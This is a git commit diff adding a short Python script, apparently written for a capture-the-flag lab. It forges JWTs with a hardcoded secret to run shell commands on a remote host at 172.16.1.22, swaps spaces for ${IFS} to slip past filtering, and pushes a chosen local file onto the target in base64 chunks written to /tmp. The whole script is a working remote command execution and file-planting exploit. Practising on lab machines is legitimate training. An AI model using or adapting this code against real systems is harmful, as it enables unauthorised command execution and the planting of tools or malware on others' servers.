Fixed issue with uploading file

This commit is contained in:
Isaac Parenteau
2022-03-04 23:24:31 -05:00
parent a19314573d
commit ed9d0082a8
2 changed files with 46 additions and 7 deletions

36
file_upload.py Normal file
View File

@ -0,0 +1,36 @@
import base64
import os
import jwt
import requests
def send_cmd(cmd):
payload = {'cmd': cmd.replace(' ', '${IFS}')}
token = jwt.encode(payload, 'hope you enjoy this challenge -ippsec', algorithm='HS256')
headers = {'Authorization': 'Bearer {}'.format(token.decode())}
output = requests.get('http://172.16.1.22:3000', headers=headers)
return output.content
def send_file():
"""
:return:
"""
file = input("Please enter path to file: ")
file_name = os.path.basename(file)
print(f'Uploading File {file_name}')
with open(file, 'rb') as f:
send_cmd(f'cd /tmp && rm -f {file_name}') # clear the file if it exists
while True:
chunk = f.read(1024)
if not chunk:
break
send_cmd(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d >> {file_name}')
print('Done Sending File')
if __name__ == '__main__':
send_file()